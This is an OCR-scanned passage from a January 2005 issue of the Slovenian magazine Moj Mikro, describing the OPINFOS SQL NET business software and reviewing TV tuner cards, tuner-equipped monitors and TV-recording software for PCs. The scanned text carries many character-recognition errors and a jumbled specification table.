niku prijazen in izredno intuitiven grafi¢ni
vmesnik omogo¢a hitro delo in u€inkovit pre-
gled nad poslovanjem.

Grafi¢ni vmesnik je razdeljen na menijsko
vrstico, glavno okno, kjer se prikazuje seznam
vseh vnosov, in na podokno, kamor se vpisu-
jejo opombe za izbrano postavko, ki se nato
upostevajo pri obdelavi faktur. Na dnu zaslo-
na so gumbi s povezavami na izbrana spletna
mesta, kot so ponudba strojne in programske
opreme, brezplaéni oglasi, klepetalnica, pomo¢
uporabnikom ter gostinsko-turisticna zbirka
Freetime Slovenija.



V meniju Hitra izbira lahko uporabnik
ustvari vnos za nov racun oziroma ponudbo,
blagajniski prejemek, narocilnico, reverz, do-
bavnico ali opomnik. Poleg tega lahko vnesejo
podatke za razli¢ne naloge, kot so delovni na-
log, prevoznica, sluzbeno potovanje ter potni
nalog za prevoz oseb oziroma tovora. V tem
meniju je moZnost za ustvaritev nove stranke,
pregledovanje prejetih in plaganih radunov
ter pregled ra¢unov in ponudb. Uporabniki
imajo na voljo tudi dnevnik, kamor vpisujejo
R
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opombe, stanje posiljk in tipa strank, skladisc-
ne postavke ter osnovne podatke podjetja. V
zavihku za splosne nastavitve se poleg privze-
tega spletnega brskalnika in pregledovalnika
datotek lahko dolo&i tudi posebna mapa na
disku, kjer se samodejno ustvarjajo podmape
strank. V te mape nato uporabnik shranjuje
dokumente in druge datoteke v povezavi z
dolo¢eno stranko in jih enostavno priklice s
desnim klikom na izbrano stranko v glavnem
oknu.

odpirajo v OpenOffice.org, kar dodatno omo-
goca njihov prenos v katerikoli sistem.

RAZV0OJ RACUNOVODSTVA
ZA WINDOWS IN LINUX

Cilj podjetja OPINFOS je dokonganje pro-
grama za racunovodstvo, ki poleg okolij Win-
dows podpira tudi Linux. Prednosti tak$nega
programa se kazejo predvsem v tem, da se bodo
lahko rac¢unovodski servisi povezovali s svoji-
mi strankami povsem nemoteno in brez zasto-
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dnevne dogodke, ter apli-

kacijo za osnovno vodenje

kadrov. Slednja rabi Se za
obvladovanje uporabni-
gkih pravic ter nastavlja-
nje uporabniskih imen in
gesel.

V meniju OPINFOS

poslovanje so klasi¢ne

zmoznosti za obvladova-

i

nje raCunov, vnos in vo-
denje narodilnic, dobav-
nic, reverzov, nalogov ter

i
:

blagajniskih  prejemkov.
Uporabniki lahko po vseh

I

dokumentih i¢ejo prek
iskanega besedila, pri Ce-
mer lahko vse dokumen-
te, ki so v glavnem oknu,
razvricajo glede na komercialista, $ifro in ime
stranke, naslov, kraj, lokacijo, kontaktno
osebo, popust ter podobno. V meniju lahko
uporabniki pregledujejo podatke o prejeti in
oddani posti ter shranjujejo poslovne doku-
mente v posebne mape strank. Vedino doku-
mentov oziroma zapise v zbirkah podatkov je
mo¥no natisniti, pri ¢emer so formati izpisov
Ye vdelani v program, mo?no pa je uporabiti
tudi obrazce, oblikovane v zbirki OpenOffice.
org.

Poleg menija Opomniki za upravljanje z
opomniki in Pomo¢ je na voljo $e¢ meni Kon-
figuracija, ki je namenjen dolo¢anju osnovnih
nastavitev programa. Z ukazom Nastavitve se
odpre okno z zavihki za nastavljanje osnov-
nih podatkov za polo?nico, Sifrant popustov,

h— e
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POVEZAVA Z OPENOFFICE.ORG

OPINFOS v svojem programskem paketu
poleg aplikacije OPINFOS SQL NET doda-
ja operacijski sistem Mandrake Linux 10.1
in pisarnisko zbirtko OpenOffice.org, s ¢imer
uporabnik v malem podjetju ali samostojni
podjetnik na enem mestu dobi vse potrebno za
zaletek poslovanja. Aplikacija je ob tem po-
vezana s pisarniSko zbirko, kar uporabnikom
omogota tiskanje podatkov na Ze pripravljene
dokumente. Uporabniki namre& lahko sami,
brez programerskih posegov, vnaprej pripravijo
vse vrste poslovnih dokumentov, opremljenih
z grafiko in besedilom, ki jih nato natisnejo s
svojim tiskalnikom brez dodatnih stroskov za
prednatisnjene dokumente. Poleg tega se vse
zbirke podatkov programa lahko prenagajo in

Al S A et i

jev prek interneta, neodvisno od uporabljene
sistemske programske opreme. Opinfosov
ratunovodski program bo zastavljen tako, da
bodo deli zbirk podatkov povezani z ratuno-
vodskim servisom sinhrono, prek interneta.
Tako bodo vsi potrebni in Zeleni podatki do-
stopni obema strankama v stvarnem &asu. V
teku je tudi nadgraditev zmo?nosti za podporo
skladi§¢nemu poslovanju s kosovnicami. Inter-
es za izdelavo dodatne aplikacije je Ze pokazala
pohistvena proizvodnja.

LIGENCNI

Licen¢ni model za OPINFOS SQL NET je
oblikovan tako, da se lahko program razmno-
7uje prek interneta ter drugih medijev. Kot
»shareware« ponuja 30-dnevno brezplatno
uporabo polno delujoce razlicice, zatem pa je
treba program kupiti in se registrirati. Program
sicer po 30 dneh ne preneha delovati, razen
vrhnjih skrbniskih pravic. Vsak legalno regi-
striran programi OPINFOS SQL NET namrec
omogoca tudi vrhnje skrbniske pravice, s ka-
terimi se dolo¢a pravice posameznih uporabni-
kov in gesla za dostop v krajevnem oziroma in-
ternetnem omreZju. V program ni name$cena
vohunska programska oprema, ki bi odkrivala
neregistrirane uporabnike, saj se bodo v Opin-
fosu proti nelegalni uporabi svoje programske
opreme bojevali s pravnimi sredstvi in z lastno
protipiratsko skupino.
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(SAJ IMAMO

Racunalnik je multimedijska naprava. Pa je primeren tudi za gledanje TV-sporeda?
Prav gotovo! No, saj to je Ze dolgo znano, poreCete. DrZi in tudi na naSih straneh smo
tovrstne naprave in postopke Ze dodobra opisali. Zanimanja pa je vse vec in Cedalje
veC vprasanj se poraja o tem. Naprave so vse dostopnejSe in vse bolj razSirjene. Prav
je, da se tej temi spet posvetimo. Ce ne drugega, bo marsikateri uporabnik dobil lepo

zbrane informacije, kako in kaj.

\ "4
e imamo racunalnik, imamo tudi zaslon.
Ratunalnik zna predvajati filme in glas-
bo, to %e vemo, torej ni pravega razloga,
da ne bi delovalo. Le kak$no malenkost
potrebujemo, da bo radunalnik vedel, kaj poce-
ti s signalom, ki ga pripeljemo, in da ga imamo
sploh kam pritakniti. Nekaj strojne in nekaj pro-
gramske opreme, torej. Kako to storiti, kaj po-
trebujemo, kak$ne so mo#nosti in kaj si s tem Se
lahko privos¢imo, pa bomo obravnavali na na-
slednjih straneh. Pa poglejmo najprej, kaj je od
tovrstnih naprav tudi pri nas dosegljivo.

KAKO IN S CIM GLEDATI TV NA PC-JU

Ratunalnik, ¢e Zelimo z njegovo pomo&jo
spremljati tudi televizijski spored, potrebuje
sprejemnik. Ta ni v takdni obliki, kot je v na-
Sem televizorju, veliko drugacen pa tudi ne. Na
voljo so tak$ni za vdelavo v na$ ra¢unalnik, na-
tan¢neje v PCl-vodilo, in taksni, ki bodo v raz-
li¢nih oblikah le7ali na vasi pisalni mizi in vam
omogocali prav enako. Torej, ogled televizijskega
sporeda na zaslonu domacega ratunalnika. Sled-
nji so zadnje Case nekoliko bolj razdirjeni in tudi
primerne;jsi.

TV-KARTICE

Navadno uporabljajo vodilo USB 2.0. Pri-
kljugitev je preprosta, brez posegov v notranjost
racunalnika. Preprosto jih lahko uporabimo z
vel razli¢nimi racunalniki ali celo prenosniki.
Pat kakor se nam zahote. No, za prenosnike so
na voljo tudi napravice, ki se jih vtakne v re¥o
PCMCIA.

In zakaj bi to sploh po&eli? Zamislimo si pol-
o%aj, ko Zeli Zena gledati $pansko nadaljevanko,
ravno ko je da drugem kanalu nogomet. Ali se
skregati z ¥eno ali pa kupiti $e en televizor? Prve
reSitve iz ofitnih razlogov ne priporoam, druga
moZnost pa je lahko dokaj draga, televizor mo-
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ramo tudi nekam postaviti in ne nazadnje smo
ponovno pri Zeni, ki mora odobriti nakup. Ce je
pri vas drugade, ste sre¢ne? posebne sorte in sem
vam kar nevostljiv.

Preprostej$a reSitev je torej nakup ustrezne
naprave, ki jo vtaknemo v ralunalnik ali ob
njega. S slusalkami in pred dobrim monitorjem
boste lahko uZivali v nogometni tekmi, nikogar
ne boste motili in $e Zena bo mislila, da po¢nete
kaj koristnega. Nogomet lahko spremljate tudi
med tem, ko po&nete kaj drugega in je na na-
mizju vaSega ratunalnika pa¢ pomanjsana slika.
Tako boste lahko v &asu, ko se ne bo dogajalo ni¢
pretresljivega, brskali po spletu, pisali ¢lanke in
mimogrede ujeli zanimive akcije.

Kot re€eno, je tudi ceneje predelati racunalnik
v televizor kot pa kupiti samostojen televizor. In
e kupite napravo, ki deluje tudi z vasim pre-
nosnim radunalnikom, boste imeli tudi zanimiv
prenosni televizor, ki vam ga bodo na morju za-
vidali vsi sosedje v avtokampu.

GRAFICNE KARTICE S TV-SPREJEMNIKI

Preprostej§a razliCica, ki pa enako deluje, je
televizijski sprejemnik, vdelan v nekatere mode-
le grafi¢nih kartic. Ker v raunalniku v vsakem
primeru potrebujete grafi¢no kartico, se lahko
pred nakupom odlogite investirati malenkost
ved in s tem pridobite tu moZnost gledanja tele-
vizijskih programov na domadem racunalniku.
Funkcionalno se tak izbor ne razlikuje od zgo-
raj opisanega, vsaj v grobem ne. Ker je naprava
vdelana v va$ racunalnik, je pa¢ ne bo mogoce
prenasati med ve€ ratunalniki. Odpade tudi pre-
nosna razli¢ica. Je pa izbira precej cenejsa. Ne-
kaj teZav je z vasimi zeljami. Ce elite najhitrejso
grafi¢no kartico na trgu, boste tezko nasli taksno,
ki ima tudi televizijski sprejemnik. Treba bo to-
rej skleniti kompromis ali pa se odlo¢iti za nakup
lo¢ene naprave.

Vse omenjene naprave pa ponujajo veliko veé
kot samo spremljanje televizijskega sporeda. Na-
vadno tovrstne naprave premorejo analogni in
véasih tudi digitalni video vhod. Tako je mogo-
e napravo uporabiti tudi za zajem video signala
iz kamere ali druge naprave. Izhodi omogo&ajo
povezavo z videorekorderjem in ne nazadnje je
mogole prav udobno posneti priljubljen film ali
nadaljevanko tudi s pomogjo ratunalnika. Ve o
tem nekoliko pozneje. Novejsa mo#nost pri neka-
terih raunalniskih TV-sprejemnikih je tudi ¢aso-
vni zamik. Zadeva je ve¢ kot uporabna, saj omo-
goca spremljanje sporeda, tudi &e niste pravi cas
doma. Tako se recimo film za&ne, preden se vrnete
domov. Normalno bi zamudili zatetek in potem
ogled filma ni ve¢ tako prijeten. Pred odhodom
lahko nastavite mo¥nost ¢asovnega zamika, kanal
na katerem bo film, in &as, ko se za¢ne. Rac¢unal-
nik bo spro%il snemanje filma. Ko se vrnete do-
mov, lahko zagnete takoj gledati film od zaletka,
seveda se bo snemanje nadaljevalo do konca filma.
Torej bo ra¢unalnik opravljal dve funkciji hkrati.
Lepota te mo¥nost je, da ni treba filma posneti do
konca in si ga Sele pozneje ogledati. Po ogledu pa
lahko posnetek ohranite ali zavriete, pa¢ kakor
se vam zazdi. In seveda. Ce poveZete racunalnik z
domacim televizorjem, si lahko ves film ogledate
na domadem televizijskem zaslonu.

Seveda naprave ne bi bile popolne ¢e ne bi
imele tudi daljinskega upravljalnika. Ta mo?nost
je vse bolj razSirjena in seveda udobna. Nekateri
daljinski upravljalniki omogo&ajo le krmiljenje v
racunalnik vdelanega televizijskega sprejemnika.
Ti se ne razlikujejo prav veliko od tistih, ki jih
kupite skupaj s televizorjem. Na voljo pa so tudi
nekoliko boljsi, radijsko povezani z vaSim racu-
nalnikom, ki omogo&ajo tudi druge funkcije in
celo upravljanje z namizjem. Tako lahko z daljin-
skim krmilnikom po¥enete poljuben program, in
e sta raCunalnik in televizor povezana, lahko
tako vsaj v preprosti obliki brskate po spletu kar
iz naslanjaca.

MONITORJI S TV-SPREJEMNIKI

Elegantna, a nekoliko draZja moZnost je nakup
racunalniSkega monitorja z vdelanim televizij-
skim sprejemnikom. Na trgu je dokaj dobra po-
nudba takinih LCD-monitorjev. Kaveljc je seda
v ceni. Za tak monitor boste odsteli precej vec,
kot pa za tak§nega brez te mo¥nosti. Dobra stran
izbire je v dejstvu, da gre za lo&eno napravo, ki za
delovanje ne porablja ra¢unalnigkih virov. Vsaj
navadno ne. Tak monitor je primeren tudi kot
samostojen TV-sprejemnik. Slabfa stran taks-
ne izbire pa je dejstvo, da sporeda ne bo mogoce
snemati z ra¢unalnikom. Vsaj na preprost nadin
ne. Ce premorete grafi¢no kartico z mo#nostjo
zajema analognega video signala, pa bo seveda
tudi to mogoce. V primerih, ko v monitor vde-
lana video kartica uporablja za delovanje vire
ratunalnika, pa je enako kot z drugimi zunanjimi
napravami te vrste.

Treba pa je lociti dve vrsti monitorjev. Eno
so ra¢unalni§ki monitorji z vdelanim TV-
sprejemnikom, drugo pa LCD-televizijski
sprejemniki na katere je mogoce prikljuditi
ratunalnik. Pri slednjih je navadno najvecja



lo¢ljivost prenizka za udobno uporabo namesto
racunalniskega monitorja.

Zdaj torej vemo, kakine naprave so na voljo,
pa si jih nekaj poglejmo $e nekoliko podrobneje.
Podrobni podatki zanje pa so na voljo v pregled-
ni tabeli.

NEKAJ IZDELKOV S POLIC TRGOVIN

LifeView FlyDVB-T Duo CardBus

Ta zanimiva kartica PCMCIA zdruZuje v bi-
stvu kar dve napravi, saj podpira tako sprem-
ljanje analognih kot tudi digitalnih televizijski
sporedov. Se zanimivejSe je, da zaradi uporab-
ljene tehnologije MST omogo¢a spremljanje
analognega in digitalnega kanala isto¢asno na
istem zaslonu v obliki slike v sliki (PIP) ali sli-
ke zunaj slike (POP). Video oknu je tudi mo-
gole poljubno spreminjati velikost. Podpira vse
TV-video in avdio standarde, ki jih sre¢ujemo
po svetu. Mimogrede omogoca spremljanje ra-
dijskega sporeda. Naprava premore kompozitni
in S-video vhod in s tem omogo¢a prikljucitev
razli¢nih naprav, od videorekorderja, kamere, do
igralne konzole in e Cesa. S tem je poskrbljeno
tudi za preprost prenos video posnetkov iz kame-
re v ratunalnik.

Snemanje TV-sporeda je mogode v formatu
MPEG 1, 2 in 4 neposredno iz sprejemnika, vde-
lanega v napravo ali zunanjega vira. Program-
ska oprema podpira tudi ¢asovni zamik. Torej
je mogoce »prestaviti« zaletek oddaje, e boste
zamujali in si ogledati vsebino kljub so¢asnemu
snemanju oddaje. Mogo&e je tudi vnaprej pri-
praviti urnik snemanja ali ¢asovnega zamika.
Mimogrede je mogoce zajeti zaslonsko sliko fil-
ma ali oddaje in fotografijo uporabiti, kakor se
vam pac zazdi.

Vsekakor gre za izredno napravo, ki vam omo-
gota spremljanje prav vsega radijskega in televi-
zijskega sporeda po vsem svetu i,
kar med potjo na vaSem %’I}?

prenosniku.

LifeView TV Walker Duo

V bistvu gre za napravo, ki deli funkcionalnost
in verjetno tudi drobovje z zgoraj opisano napra-
vo istega proizvajalca. Je pa nekoliko drugatne
oblike in namenjena prikljuditvi prek prikljuc-
ka USB 2.0. Tako je naprava primerna tako za
uporabo s prenosnimi kot tudi z namiznimi radu-
nalniki. Saj priklju¢ek PCMCIA je tudi mogoce
vdelati v namizni ra¢unalnik, le da je za to potre-
ben dodaten nakup in poseg v notranjost racu-
nalnika. S priklju¢kom USB pa je prenosljivost z
enega na drug ratunalnik sama po sebi umevna.
Tako imamo eno napravo za dom in hkrati tudi
za potovanja. Moznosti, ki so na voljo, ni potreb-
no posebej opisovati, saj so popolnoma enake
kot pri prej opisani napravi.

Naprava je simpati¢no oblikovana, kompak-
tna in primerna prav za vse, ¢emur je namenjena.
Na koncu pa tudi cena ni pretirana. éeprav je
ta trenutek ni mogoce najti v nasih prodajalnah,
vsaj po vsebini spletnih strani je videti tako, pa
bo verjetno na voljo ¥e prav kmalu. Saj lahko
tudi kupci malo podrezamo prodajalce, da se od-
logijo za uvoz te tako zanimive naprave.

AverMedia TV Tuner

Gre za dokaj hecno in pre-
prosto napravo, ki ne spada
ravno v vode racunalni-
Stva. Vsaj glede povezave
z racunalniki ne. Deluje
namre¢ brez ratunalnika. 5
Gre za popoln zunanji televizijski sprejemnik, ki
ga je mogoce prikljuditi na projektor ali LCD-
monitor. Ker ni povezave z racunalnikom, od-
padejo vse dobrote, kot so snemanje, asovni
zamik in e kaj. Je pa zanimiva mo#nost, &e imate
recimo odveten LCD-monitor in bi ga radi spre-
menili v televizijski sprejemnik.

TV-kartica LifeView
FiyVideo DV 3000

Lahko pa je TV-kar-
tica tudi namenjena
vdelavi v racunalnik,
seveda za vodilo PCI. Razen tega, da je ne boste
videli, ponuja povsem enake moZnosti kot zuna-
nje kartice, kot so izbira televizijskih kanalov, za-
jem video posnetkov iz zunanjega vira, snemanje
televizijskega sporeda na domacem rac¢unalniku
v formatu AVI, MPEG 1 in MPEG 2, mo¥nost
Casovnega zamika za ogled filmov in drugih od-
daj ... PoveZete jo lahko z zunanjim zvo¢nim si-
stemom in ne nazadnje s TV-sprejemnikom. Vse
v enem tudi v tem primeru. Seveda je na voljo
tudi daljinski upravljalnik. Tovrstne TV-kartice
so tudi nekoliko ceneje od zunanjih, vsaj navad-
no je tako. Ce ne drugega, ne potrebujejo ohija
in nekaterih delov, ki so nujni za zunanje delo-
vanje naprav. Slabost taksne izbire je neprenos-
ljivost. Vsaj pogosto ne boste opravljali montaZe
kartice iz enega ratunalnika v drugega.

Graficna kartica
ATI Radeon AIW

Pregled naSega trga je po-
kazal pomanjkanje zanimanja ;
za tovrstne grafi¢ne kartice. Vsaj
s strani trgovcev. Morda pa so tudi dokaj nizke
cene samostojnih naprav krive za to. Kartica Ra-
deon AIW je novost, ki zdruZuje dokaj zmogljivo
grafi¢no kartico z vdelanim TV- sprejemnikom
in prilofenim daljinskim upravljalnikom. S pri-
lo%eno programsko opremo je snemanje televi-
zijskega sporeda prava $ala, podobno pa je tudi
z zajemom videa iz zunanjega vira. éeprav je
sam zajem televizijskega sporeda na ravni strojne
opreme, pa je za kodiranje odgovorna program-
ska oprema, torej je tudi tukaj zmogljivost sne-
malnika odvisna tudi od hitrosti ratunalnika in
trdega diska.

Ponujene moznosti so dovolj za domaco rabo,
odlotitev za nakup pa je smiselna ¢e ravno raz-
misljate o zamenjavi grafi¢ne kartice.

Monitor LG LCD + TV 19«
L193ST

In %e zadnja mo¥nost
spremljanja televizijskega
sporeda na domacem ra-
Cunalniku: nakup LCD-monitorja z vdelanim
TV-sprejemnikom. Seveda kupite dve napravi
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v eni — monitor in LCD televizor. Za gledanje
televizijskega sporeda ne potrebujete ra¢unalni-
ka, kar je po svoje posretena moznost. Ima pa
ve¢ pomanjkljivosti. Ker ni neposredne poveza-
ve z va§im racunalnikom, vsaj ne primerne, se-
veda ni mogode preprosto snemati televizijskega
sporeda s pomocjo ratunalnika. Razen &e imate
v ratunalnik vdelano grafi¢no kartico, ki omo-
goca zajem analognega video signala. Prav tako
ne boste mogli gledati sporeda v pomanj$anem
oknu med delom ali brskanjem po spletu. Zadnja
zamera je razmeroma visoka cena, ki jo morate
odsteti za dodatno mo?nost v primerjavi s klasic-
nim LCD monitorjem. Ce ste z nastetim kljub
vsemu zadovoljni in ne potrebujete ni& ved, pa je
to prav gotovo zanimiva naprava.

RACUNALNIK, BODI
VIDEO SNEMALNIK!

Domadiracunalni-
ki e nekaj ¢asa zado-
stujejo za snemanje
TV-sporedaprek TV-
kartice. Mo¢nejsi so
Ye dovolj zmogljivi
za sprotno kodiranje
s katerim od DivX,
XVid ali drugih stiskalnih kodekov in sprotnim
odpravljanjem prepletanja (deinterlace). Tudi ¢e
vam racunalnik ne zmore vseh opravil hkrati v
realnem Casu, pa je to mogoce storiti postopoma.
Filme in drug spored je mogoce zajeti v nestisnje-
nem formatu AVI, pozneje odpraviti prepletanje
in stisniti s katerim od primernih kodekov. Za-
deva vsekakor zasede ve& prostora, na sre€o pa
so trdi diski veliki in poceni, zado$tajo pa za vsaj
dve uri zajetega sporeda. In ko zadevo kodiramo,
jo je preprosto zapeéi na CD ali DVD, kar spro-
sti prostor na disku za nove posnetke.

Zajem T'V-sporeda je zajem analognega video
signala. Torej potrebujemo posebno napravo, ki
tak signal sprejme in spremeni v primerno obliko
za ratunalnik. TV-kartice so najnaravne;si izbor.
Pa tudi najpreproste;si, vse drugo je vsaj malen-
kost bolj zapleteno, &eprav je na voljo tudi nekaj
prav zanimivih reitev, ki smo jih v preteklosti
tudi dovolj nadrobno predstavili.

Glavni dele? obremenitev bo pri snemanju
videa iz TV-kartice nosil sam procesor. Ce ni
dovolj zmogljiv, se bodo pri zajemu izgubljale
slicice, ¢e bo teh veliko, pa bo tako zajet film
prakti¢no neuporaben. Dovolj bo %e ra¢unalnik
s procesorji, mo¢nej§imi od 2 GHz Intelovega
Pentiuma. Seveda so primerni tudi ratunalniki
z AMD-jevimi procesorji, ki so vsaj toliko zmog-
ljiivi kot omenjeni Intelov procesor. Ce nimate
ravno tako hitrega ra¢unalnika, boste zajem vi-
dea, kot reCeno, pravili v ve¢ korakih, ki vsak
zase ne zahteva toliko sistemskih sredstev. Nekaj
je mogode pridobiti na racun kakovosti slike. Za
format VCD ni potrebno veliko, zadeva pa bo na
TV-zaslonu popolnoma gledljiva.

Zabava se zaCne pri izbiri pravinje TV-kar-
tice. Vse namred niso popolnoma primerne za
kakovosten zajem videa. No, v zadnjem &asu so
primerne Ze skoraj vse, le tistim resni¢no najce-
nejsim se ognite, pa bo vse v najlepsem redu.
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Tovrstna kartica ponuja kar precej udobja.
Prva pridobitev je spremljanje TV-sporeda in
branje teleteksta na domacem racunalniku. Dru-
ga pa moznost snemanja T V-sporeda in shranje-
vanja na trdi disk. Kako bo to potekalo in ali vam
bo uspelo iztisniti najvisjo kakovost videa, pa je v
veliki meri odvisno tudi od programske opreme,
ki podpira tovrstne kartice. Pri karticam priloZe-
ni programski opremi boste le redko nasli taks-
no, ki bo omogo¢ala tudi uporabo najrazli¢nejsih
kodekov za stiskanje videa, pa naj gre za format
MPEG-2 ali MPEG-4. Kakor koli Ze — vse, kar
boste storili za zajem videa, je pritisk na ustrezno
ikono. Nekateri modeli imajo vdelan tudi video
vhod, tako jih je mogoce uporabiti tudi na zgoraj
opisani nacin.

7 zajemom zvoka ni posebnih te¥av. Le vir
zvokov izberete ali pa bo to opravil sam program,
ki ga boste izbrali.

Najve&ja prednost je v mo¥nost vnaprejinjega
programiranja tako kanala kot ¢asa, kdaj boste
zaceli in prenehali snemati. Torej ni potrebe, da
ste takrat doma. Preprosto kot le kaj, stroski pa
tudi niso pretirani.

Zraven slike pa bi s
TV-zaslona radi zajeli
tudi zvok. Za to je po-
trebna zvo¢na kartica z
avdio vhodom. Vetina
novejsih mati¢nih plos¢  TV-kartica s pilotom
z vdelano zvoéno kartico to seveda ponuja. Na
naSo nesreCo pa vsi programi niso pripravljeni
delati s tovrstnimi karticami in zahtevajo neko-
liko zmogljivejso. Ker potrebujemo avdio vhod
zadostne kakovosti, tiste najcenejSe ne pridejo v
postev. Na mati¢no plos¢o vdelane sicer zadosti-

VIDEO KARTIGE

jo vsem kriterijem, le nekaj programske opreme
jih bo trmasto odklanjalo. Za zapis TV-sporeda
ne potrebujemo prostorskega zvoka, saj ga na-
vadne TV-postaje ne prenasajo. Torej je dovolj
skromnejia zvoena kartica z avdio vhodom. Ce
imate na mati¢no plo¢o vdelano zvo¢no kar-
tico, pa se raje nakupu posebne zvo&ne kartice
izognite z izbiro programske opreme, ki bo delo-
vala tudi tako.

PROGRAMSKA OPREMA

Prav z izbiro primerne programske opreme je
najve¢ tefav. Sicer v glavnem zadoséa %e pro-
gramska oprema, ki jo proizvajalci prilagajo na-
pravam in jo tako dobite %e ob nakupu. Ce vam
kljub vsemu ne zado3¢a, pa bo treba pobrskati po
bogati ponudbi tovrstnih programov razli¢nih
razvijalcev programske opreme. Ponudba je do-
kaj raznolika, saj so primerni vsi programi, ki
zmorejo zajeti video signal. Tako je razpon od
posebnih programov za zajem videa iz TV-kar-
tic, pa univerzalnih programov, ki znajo zajeti
video tudi iz drugih virov, pa vse do programov
za digitalno obdelavo videa, ki vsi do zadnjega
podpirajo tudi zajem iz razli¢nih virov. Slednji so
dra¥ji, zato pa omogo&ajo monta%o, vstavljanje
prehodov in $e kaj, kar pa je primernejse za fil-
me, posnete z video kamero. Saj filmov ne boste
Se posebej montirali. Edino, kar se lahko zgodi,
je rezanje in spajanje delov, zaradi tega, ker bi
se radi znebili reklam, ki jih predvajajo med fil-
mom. Za ta namen pa je na voljo veliko poceni
ali brezpla¢nih programov, ki znajo samo to, zato
pa so preproste;jsi za uporabo. Pri izbiri program-
ske opreme pa je treba posebej preveriti, ali omo-
gota vse tisto, kar ponuja TV-kartica. Ce torej

Zelite gledati televizijo, udobno menjati kanale,

brati teletekst in Se snemati program, se vsekakor

ne boste zadovoljili s programom, ki ne ponuja

prav vseh funkcij. Nesmiselno bi namre¢ bilo za

ta opravila uporabljati ve¢ lo¢enih programov.
Pa poglejmo nekaj predstavnikov.

Honestech HT TV Plus 4.0 Gold

Vmesnik je preprost in izdelan tako, da spo-
minja na T'V-zaslon in videorekorder, in kot tak
tudi deluje. Omogoca zajem videa iz razli¢nih vi-
rov, v formatih MPEG-1, MPEG-2, VCD-PAL,
VCD-NTSC in AVI, za namecek pa vam omo-
goda tudi &asovni zamik poljubnega dela ali ce-
lotne oddaje. Tako lahko prestavite zacetek filma
in si ga ogledate od zaetka, ko va¥ ratunalnik
film Se zapisuje, ali si hitro ogledate posebej pri-
ljubljeni del in nadaljujete gledanje filma tam,
kjer ste spremljanje prekinili. Tako boste lahko
tudi med filmom brez reklam pripravili sendvi¢
ali odsli v trgovino po prigrizke, ne da bi zamudi-
li kak del filma. Snemanje filmov pa je mogoce
tudi v ozadju, tako lahko med tem opravilom z
racunalnikom po¢nete druge redi. Seveda pa bo
za to potreben nekoliko zmogljivejsi ratunalnik
ali snemanje v zmanj§ani kakovosti posnetka.

Program je v bistvu zbirka Sestih programov
za razli¢na opravila. Kljub prvemu vtisu o po-
osebljeni prepros¢ini Ze kaj kmalu ugotovimo, da
gre za izredno zmogljivo orodje, ki v veliki meri
upravicuje dokaj zasoljeno ceno.

Tako so na voljo poseben sklop za spremljanje
televizijskega programa, program za digitalno
video monta%o, video kodirnik, program za za-
pis video vsebin na CD ali DVD in urejevalnik
fotografij in video posnetkov za zapis na razli¢ne

AverTV

Go007+FM

AverTV
Studio+FM 303

AverTV
PVR

AverTV
DVBs

AverTV
CardBus

AverTV
USB 2.0

AverTV
HotCha

AverTV
Box5 PiP

AverTV
Box9 PiP

Informacije EC, d.0.0. EC, d.0.0. EC, d.0.0. EC, d.o.0. EC, d.0.0. EC, d.0.0. EC, d.0.0. EC, d.0.0. EC, d.o.0.
Spletni naslov www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk www.averm.co.uk
Cena 9.360 SIT 15.300 SIT 20100 SIT 21.450 SIT 21192 SIT 21192 SIT 14.550 SIT 20.880 SIT 30.600 SIT
Vodilo PCI PCI PCI PCI USB 2.0 USB 2.0 samostojen TV- | samostojen TV- | samostojen TV-
sprejemnik sprejemnik sprejemnik
Strojno kodiranje ne ne ne ne MPEG 1 in 2 Motion JPEG in ne ne ne
RGB 24
Daljinski upravijalnik da da da da ne ne da da da
Teletekst da da da da da da ne ne ne
Radio da da da da da da ne ne ne
Moznosti ogled, snemanije, | ogled, snemanje, | ogled, snemanje, | ogled, snemanje, | ogled, snemanje, | ogled, snemanje, | ogled na monitor- = ogled na monitor- = ogled na monitor-
Casovni zamik Casovni zamik casovni zamik Ccasovni zamik Casovni zamik Casovni zamik | jih, projektorjih, | jih, projektorjih, | jih, projektorjih,
plazemskih plazemskih plazemskih
zaslonih zaslonih, PIP zaslonih, PIP
Avdio/video prikljuéki | antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod,
kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni vhod, | kompozitni vhod, | kompozitni vhod, | kompozitni vhod in|  S-video vhod, S-video vhod,
vhod, stereo vhod | vhod, stereo vhod | vhod, mono izhod |  S-video vhod S-video vhod, Swideo vhod, |izhod, VGA, stereo | kompozitni vhod, | kompozitni vhod,
in izhod in izhod stereo vhod mono izhod vhod in izhod VGA vhod in VIGA vhod in
izhod, stereo vhod | izhod, stereo vhod
(L/D ¢ing), stereo | (L/D €ing), stereo
PC vhod, izhod | PC vhod, izhod
za sluSalke in za sluSalke in
zvocnike zvocnike
Stevilo kanalov ni podatka ni podatka 181 ni podatka ni podatka 181 181 181 ni podatka

o0

MOJ MIKRO 1 JANUAR 2005




opti¢ne medije. Vse dele programa je mogoce
pognati iz skupnega vmesnika, ki pregledno in
nazorno ponuja vsa potrebna opravila in mo%-
nosti. Tako je mogoce s tem programom opraviti
prav vse, od ogleda dolo¢enega kanala, snemanja
video posnetkov, pa vse do arhiviranja in orga-
niziranja vseh posnetkov, ki se vam bodo z leti
nabrali.

Kljub mno¥ici moZnosti pa je program pre-
gleden in preprost. S SS— - — T
Tako uporabniku ni  [fi= |
potrebno  posebno
predznanje ali po-
sebno skrbno branje
navodil. Dovolj je
dobra volja in nekaj
radovednosti, da prebrskate vse mo#nosti in ugo-
tovite, kako bodo koristile tudi vam.

Chris TV Pro v4.01
Eden boljsih pro-
gramov, namenjenih
snemanju filmov iz
TV-kartic. Je izredno
zmogljivo orodje, ki
ponuja vse mogo&e nastavitve, uporabo prav vseh
mogodih kodekov, name$¢enih v vas ra¢unalnik,
nastavljanje urnikov snemanja in kanalov, ki jih
Yelimo posneti. Seveda se lahko poigramo z na-
stavitvami za zajem zvoka. Od tega je odvisno,
kaksne kakovosti bo zvok v zajetem filmu. Ce
vam ni preved do tega, da bi se posebe;j igrali z
nastavitvami, program ponuja nekaj »predlog«.
Tako boste s preprosto izbiro predloge izbrali
vse nastavitve za VCD, SVCD ali DVD. Kljub

vsemu pa se splata nekaj eksperimentiranja, saj

il 1 ¥

boste tako prilagodili delovanje programa svojim
potrebam. Program omogo&a sprotno deljenje
datotek. Zadeva je Se kako koristna, saj lahko %e
